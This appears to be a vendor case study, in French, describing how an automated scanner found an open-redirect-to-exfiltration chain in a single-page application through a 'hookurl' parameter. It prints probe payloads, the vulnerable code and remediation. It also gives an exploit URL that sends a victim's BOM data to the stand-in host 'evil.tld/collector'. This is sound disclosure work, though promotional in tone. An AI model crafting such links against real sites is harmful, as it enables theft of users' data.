Mise au jour d'une chaîne d'exfiltration de données de second ordre dans les SPA modernes
Comment une chaîne d'exfiltration de données côté client de second ordre a été découverte dans une SPA moderne, transformant une simple redirection ouverte en vulnérabilité de vol de données en plusieurs étapes, grâce à l'analyse JavaScript et à la validation de la chaîne d'exploitation.
L'essor des Single-Page Applications (SPA) a profondément déplacé l'endroit où réside la logique de sécurité. Là où les applications web traditionnelles gardaient l'authentification, l'autorisation et la validation des données côté serveur, les SPA transfèrent souvent ces responsabilités dans d'énormes bundles JavaScript chargés par le navigateur. Ce changement d'architecture crée une dangereuse illusion : les développeurs implémentent dans le code côté client ce qui ressemble à de la logique de sécurité (vérification des permissions, validation des URL, contrôle de la navigation), en oubliant que tout ce qui s'exécute dans le navigateur de l'utilisateur est par nature indigne de confiance.
Les scanners de vulnérabilités traditionnels ne sont pas équipés pour cette réalité. Ils recherchent des indicateurs côté serveur, comme des redirections 302 ou des erreurs SQL, et passent complètement à côté des menaces qui n'existent que dans les interactions côté client : flux de données via sessionStorage, gestion de l'état des composants et chaînes d'exploitation en plusieurs étapes qui ne se déclenchent qu'après des actions précises de l'utilisateur.
Notre dernier scan Automated Pentest a mis au jour exactement ce type de vulnérabilité moderne. La découverte n'était pas une mauvaise configuration du serveur, mais une chaîne d'exfiltration de données côté client que les outils traditionnels ne verraient jamais, car elle n'existe que dans la logique de navigation de la SPA, qui se fait passer pour de la sécurité sans en offrir aucune.
Le défi : d'un simple paramètre à une exploitation en plusieurs étapes
Le moteur a commencé par une analyse des risques : il a d'abord analysé l'architecture de la SPA et identifié un schéma de risque critique : « open redirect and scheme abuse in dynamic external navigation builders ». Un scanner traditionnel pourrait tester des endpoints comme /elbridge?url=... à la recherche d'un en-tête Location, puis s'arrêter là. Notre moteur, lui, est conçu pour cartographier toute la surface d'attaque côté client.
À partir de cette analyse, il a généré de manière autonome un plan d'investigation détaillé :
[RISK-ASSESSMENT] Pattern detected: Dynamic navigation builders
- Application pattern: SPA with client-side routing
- Risk category: Open redirect via untrusted URL parameters
- Potential sinks: window.location, form.action, window.open
- Investigation priority: HIGH
[PLAN-GENERATED] Testing strategy created:
1. Enumerate redirector endpoints: /elbridge, /redirect, /out, /external, etc.
2. Test parameter acceptance: url, next, target, redirect, hookurl
3. Validate scheme handling: https://, http://, //, javascript:, data:
4. Analyze client-side code for navigation sinks
5. Test normalization bypasses and edge cases
La vulnérabilité résidait dans le paramètre hookurl de l'endpoint /elbridge. La première découverte du moteur a été que le serveur n'émettait pas de redirections : il renvoyait 200 OK pour presque toutes les entrées. Le vrai comportement se trouvait dans le code client, et le Scanner a méthodiquement reconstitué la chaîne d'exploitation.
Phase 1 : sondage intelligent et découverte des filtres Le Scanner a commencé par comprendre les défenses périmétriques au moyen de sondes ciblées, révélant une liste noire partielle plutôt qu'une véritable liste d'autorisation :
Résultats des sondes :
[SCANNER] Testing /elbridge parameter acceptance...
[PROBE #1: Basic external HTTPS]
> GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive
< HTTP/1.1 200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
[STATUS] Accepted
[PROBE #2: javascript: scheme]
> GET /elbridge?...&hookurl=javascript:alert(1)
< HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
[STATUS] Blocked by edge (Akamai)
[PROBE #3: Scheme-relative URL]
> GET /elbridge?...&hookurl=//example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Risk Amplifier
[PROBE #4: HTTP scheme (downgrade)]
> GET /elbridge?...&hookurl=http://example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Protocol Downgrade
[ADDITIONAL ACCEPTED SCHEMES]:
• about:blank → 200 OK
• mailto:test@example.com → 200 OK
• data:text/plain,hello → 200 OK
• https://REDACTED.example.com → 200 OK (Subdomain confusion)
• \\example.com → 200 OK (Backslash variant)
[ENGINE-ANALYSIS] Perimeter defense is inconsistent. Blocks:
• javascript: (and encoded/mixed-case variants)
• data:text/html;base64 (HTML payloads)
Accepts numerous dangerous schemes that should be blocked.
Phase 2 : analyse statique et modélisation du comportement
Une fois que le Scanner a identifié /elbridge comme un gestionnaire de navigation potentiel, il devait comprendre comment le paramètre hookurl était réellement utilisé. Le moteur a exécuté une analyse statique systématique, en téléchargeant et en examinant les principaux bundles de l'application.
Processus de raisonnement du Scanner :
[SCANNER] To understand client-side data flow:
1. Need to download main JS bundles
2. Search for parameter parsing patterns
3. Identify data storage mechanisms
4. Find navigation sinks
5. Trace complete data flow
Le Scanner a d'abord récupéré la page d'accueil pour identifier les ressources JavaScript :
[TOOL CALL] curl --http1.1 -sSLi https://REDACTED/
[OUTPUT] Discovered JS bundles:
- /static/js/2.6e5ed615.chunk.js (vendor bundle)
- /static/js/main.a658340c.chunk.js (main application bundle)
[ENGINE-ANALYSIS] No Content-Security-Policy header present.
X-Frame-Options: SAMEORIGIN. SPA shell detected - client-side logic expected.
Le Scanner a téléchargé et analysé les deux bundles JavaScript. La découverte clé est venue de l'examen du bundle principal :
Analyse du bundle JavaScript capturé :
// Scanner discovered critical code patterns:
// 1. PARAMETER PARSING FROM URL
// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}
const params = new URLSearchParams(location.search);
const version = params.get(_.kb.VERSION); // "version"
const hook = params.get(_.kb.HOOKURL); // "hookurl"
const country = params.get(_.kb.COUNTRY);
const lang = params.get(_.kb.LANGUAGE);
if (version && hook && country && lang) {
sessionStorage.setItem(_.lb.VERSION, version);
sessionStorage.setItem(_.lb.HOOKURL, hook);
}
// 2. GUARD CHECK
const hasElbridgeSeed = () => Boolean(
sessionStorage.getItem(_.lb.HOOKURL) && sessionStorage.getItem(_.lb.VERSION)
);
// 3. CRITICAL SINK (Scanner-discovered minified code)
// From bundle main.a658340c.chunk.js:
var Lm=()=>{const{t:e}=Object(_.a)(),{projectDetails:a}=Object(c.c)(e=>e.projectDetail),
t=sessionStorage.getItem(be.lb.HOOKURL),n=sessionStorage.getItem(be.lb.VERSION),
i=e=>{const a=document.createElement("form");a.method="POST",a.action=t,a.target="_blank";
const o=document.createElement("input");o.type="hidden",o.name="version",o.value=n,a.appendChild(o);
const i=document.createElement("input");i.type="hidden",i.name="result",i.value=JSON.stringify(e),
a.appendChild(i),document.body.appendChild(a),a.submit()};
Sortie de l'analyse du Scanner :
[SCANNER] Data flow mapped:
• SOURCE: URL parameter ?hookurl=...
• STORAGE: sessionStorage['HOOKURL']
• TRIGGER: UI button "Go To SHOP" (i18n key: bom.go_to_shop)
• SINK: form.action = sessionStorage['HOOKURL']
• PAYLOAD: POST with hidden fields: version + result (JSON BOM data)
• TARGET: _blank (new tab)
[VULNERABILITY PATTERN] User-controlled input flows directly from URL → sessionStorage → form.action
without any validation or allowlisting.
Cette analyse ne relevait ni de la devinette ni de la simple recherche de motifs. Le Scanner a réellement :
1) Téléchargé le JavaScript de production et l'a décompressé 2) Analysé des bundles webpack minifiés pour trouver le code pertinent 3) Compris le flux de données à travers plusieurs fonctions 4) Identifié la violation de la frontière de confiance dans la logique 5) Cartographié la chaîne d'exploitation complète de bout en bout
La plupart des outils de sécurité voient le JavaScript comme une « boîte noire » : ils peuvent détecter des paramètres, mais ne comprennent jamais comment ils sont utilisés. Notre Scanner lit le code, le comprend et cartographie le chemin réel de la vulnérabilité.
Phase 3 : validation sûre de la chaîne d'exploitation Le Scanner a exécuté une PoC complète et sans danger pour valider la chaîne d'exploitation sans émettre de requêtes externes :
Script d'interception sûr généré :
// Scanner created this safe interception PoC
(function(){
const os = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function(){
console.log('[INTERCEPT] Form submission captured', {
action: this.action,
method: this.method,
target: this.target,
payload: Array.from(this.elements)
.filter(el => el.type === 'hidden')
.map(el => ({name: el.name, value: el.value}))
});
// Block actual submission to prevent exfiltration
// do NOT call os();
};
console.log('[SCANNER] sessionStorage hookurl =', sessionStorage.getItem('hookurl'));
})();
Sortie console attendue (issue du test du Scanner) :
[SCANNER] sessionStorage hookurl = https://example.com/receive
[INTERCEPT] Form submission captured {
action: "https://example.com/receive",
method: "POST",
target: "_blank",
payload: [
{name: "version", value: "1.0"},
{name: "result", value: "{\"bomData\":[...]}"}
]
}
Phase 4 : tests exhaustifs et preuves HTTP brutes Le Scanner a mené des tests approfondis et capturé des paires requête/réponse HTTP brutes :
Payloads acceptés (réponses 200 OK) :
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Payloads bloqués (403 Forbidden) :
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=javascript:alert(1) HTTP/1.1
Host: REDACTED
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
Phase 5 : suivi de l'état et démonstration de la chaîne d'exploitation Le Scanner a suivi les changements d'état de l'application :
État de sessionStorage avant/après :
// BEFORE visiting /elbridge:
sessionStorage.getItem('hookurl') === null
sessionStorage.getItem('version') === null
// AFTER visiting /elbridge with attacker-controlled params:
sessionStorage.getItem('hookurl') === 'https://evil.tld/collector'
sessionStorage.getItem('version') === '1.0'
Chaîne d'exploitation complète (documentée par le Scanner) :
1. Victim visits: https://REDACTED/elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://evil.tld/collector
2. SPA stores: sessionStorage['HOOKURL'] = "https://evil.tld/collector"
3. Victim navigates to /componentlist (BOM view)
4. Victim clicks "Go To SHOP" button
5. SPA creates form with: action="https://evil.tld/collector", method="POST", target="_blank"
6. Form submits with payload: version=1.0&result={"bomData":[...]}
7. Attacker receives sensitive BOM data
Pourquoi c'est important : le Scanner, un chasseur sensible au contexte Cette découverte illustre une évolution majeure des tests automatisés. Le Scanner n'a pas seulement trouvé un bug ; il a raconté l'histoire d'une vulnérabilité en :
- Sondant systématiquement le périmètre pour comprendre le comportement des filtres
- Analysant le code côté client pour cartographier le flux de données complet
- Suivant les changements d'état à travers plusieurs états de l'application
- Créant des PoC sûres qui prouvent l'exploitabilité sans risque
- Fournissant une remédiation exploitable avec des correctifs de code précis
Code de remédiation généré :
// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)
function isAllowedDestination(u) {
try {
const url = new URL(u, window.location.origin);
// Enforce https only and exact host/path allowlist
const allowedHosts = new Set(["partner.REDACTED", "nizke-napeti.cz.REDACTED"]);
// Enforce HTTPS only
if (url.protocol !== "https:") return false;
// Strict host allowlist
if (!allowedHosts.has(url.hostname)) return false;
return true;
} catch {
return false;
}
}
// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):
1. Replace raw URLs with opaque, signed identifiers
2. Server-side validation against strict allowlist
3. Perimeter rule: ^https://(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)
4. CSP: navigate-to 'self' https://partner.REDACTED https://nizke-napeti.cz.REDACTED
Conclusion Le paysage des vulnérabilités web est de plus en plus défini par une logique complexe côté client. Cette étude de cas montre comment notre moteur va au-delà du scan traditionnel en :
- Comprenant l'état d'une SPA - en suivant les données à travers
sessionStorage - Cartographiant les flux de données côté client - de la source au sink
- Testant intelligemment - en sondant les cas limites et les contournements de filtres
- Fournissant des preuves - captures HTTP brutes, analyse de code, PoC sûres
- Recommandant des correctifs - un code de remédiation précis et exploitable
Il ne s'agit pas simplement de scan, mais d'investigation. Notre Scanner modélise l'application comme le ferait un attaquant, met au jour les chaînes d'attaque sophistiquées que les applications modernes peuvent créer par inadvertance, et fournit les preuves et les solutions nécessaires pour les corriger.